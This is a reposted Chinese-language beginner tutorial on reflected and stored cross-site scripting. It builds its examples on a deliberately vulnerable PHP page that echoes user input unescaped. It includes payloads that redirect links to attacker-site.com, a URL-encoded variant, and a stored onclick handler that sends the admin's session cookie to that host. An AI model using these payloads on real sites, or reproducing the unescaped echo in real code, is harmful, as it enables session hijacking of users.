xss攻击入门
xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為用戶輸入,從而達(dá)到查詢/修改/刪除數(shù)據(jù)的目的,而在xss攻擊中,通過插入惡意腳本,實現(xiàn)對用戶游覽器的控制。
xss攻擊可以分成兩種類型:
下面我們通過具體例子,了解兩種類型xss攻擊。
?
1.非持久型xss攻擊
顧名思義,非持久型xss攻擊是一次性的,僅對當(dāng)次的頁面訪問產(chǎn)生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執(zhí)行,從而達(dá)到攻擊目的。
假設(shè)有以下index.php頁面:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>"; ?>該頁面顯示兩行信息:
- 從URI獲取 'name' 參數(shù),并在頁面顯示
- 顯示跳轉(zhuǎn)到一條URL的鏈接
這時,當(dāng)攻擊者給出以下URL鏈接:
index.php?name=guest<script>alert('attacked')</script>當(dāng)用戶點擊該鏈接時,將產(chǎn)生以下html代碼,帶'attacked'的告警提示框彈出:
Welcome guest <script>alert('attacked')</script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>?
除了插入alert代碼,攻擊者還可以通過以下URL實現(xiàn)修改鏈接的目的:
index.php?name=<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
當(dāng)用戶點擊以上攻擊者提供的URL時,index.php頁面被植入腳本,頁面源碼如下:
Welcome <script> window.onload = function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} </script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>用戶再點擊 "Click to Download" 時,將跳轉(zhuǎn)至攻擊者提供的鏈接。
?
對于用于攻擊的URL,攻擊者一般不會直接使用以上可讀形式,而是將其轉(zhuǎn)換成ASCII碼,以下URL同樣用于實現(xiàn)鏈接地址變更:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e?
2.持久型xss攻擊
持久型xss攻擊會把攻擊者的數(shù)據(jù)存儲在服務(wù)器端,攻擊行為將伴隨著攻擊數(shù)據(jù)一直存在。下面來看一個利用持久型xss攻擊獲取session id的實例。
?
session背景知識
我們知道HTTP是一個無狀態(tài)維持的協(xié)議,所有請求/應(yīng)答都是獨立的,其間不保存狀態(tài)信息。但有些場景下我們需要維護(hù)狀態(tài)信息,例如用戶登錄完web應(yīng)用后,再一定時間內(nèi),用戶再進(jìn)行登錄,應(yīng)不需要再輸入用戶名/密碼進(jìn)行鑒權(quán)。
這時我們用cookie和session解決狀態(tài)維護(hù)問題,當(dāng)用戶首次登入時,服務(wù)器為該用戶創(chuàng)建一個 session ID,同時向游覽器傳送一個 cookie,cookie保存會話連接中用到的數(shù)據(jù),session ID作為會話標(biāo)識,游覽器后續(xù)的請求均基于該session ID。
?
攻擊者可以提供一個攻擊鏈接,當(dāng)用戶點擊該鏈接時,向攻擊者自己的服務(wù)器發(fā)送一條保存有用戶session ID的信息,這樣就可以竊取到用戶的session ID,得到用戶的執(zhí)行權(quán)限。
?
現(xiàn)有以下login.php,其根據(jù) user_name 在數(shù)據(jù)中查找相應(yīng)的 pass_word,然后將用戶提供的 password 與查數(shù)據(jù)庫所得的 pass_word 進(jìn)行比較,如果驗證成功則創(chuàng)建對應(yīng)于 user_name 的 session。
View Code?
另有以下home.php,其根據(jù)登入的用戶是 admin 還是其他用戶,顯示不同內(nèi)容,對于admin,其列出所有用戶,對于其他用戶,提供包含輸入框的form,可在數(shù)據(jù)庫中插入新的用戶名信息。
View Code?
注意以上場景中,對 admin 和其他用戶進(jìn)行了不同的權(quán)限設(shè)置,admin可以看到所有用戶列表,下面我們來看如何獲取 admin 的session ID,從而使得其他用戶也能獲得 admin 的權(quán)限。
?
首先,攻擊者以一個普通用戶登錄進(jìn)來,然后在輸入框中提交以下數(shù)據(jù):
<a href=# οnclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>?
攻擊者提交了條帶<a>標(biāo)簽的數(shù)據(jù),該條數(shù)據(jù)將保存在數(shù)據(jù)庫中,而當(dāng) admin 用戶登入時,包含 "bangerlee" 的用戶列表將顯示,如果 admin 用戶點擊 "bangerlee" 時,在 "attacker-site.com" 所在的服務(wù)器上,攻擊者就可以竊取到 admin 的session-id:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3有了該session-id,攻擊者在會話有效期內(nèi)即可獲得 admin 用戶的權(quán)限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。
?
當(dāng)然,不是只有持久型xss攻擊才能竊取session ID、用戶的cookie信息,用非持久型xss也可以,只要引導(dǎo)用戶點擊某鏈接,將 document.cookie 信息傳到指定服務(wù)器即可,以上僅作為說明持久型xss攻擊的舉例。
轉(zhuǎn)載于:https://www.cnblogs.com/liliuguang/p/7737178.html
總結(jié)
- 上一篇: 多线程互斥问题
- 下一篇: repository access de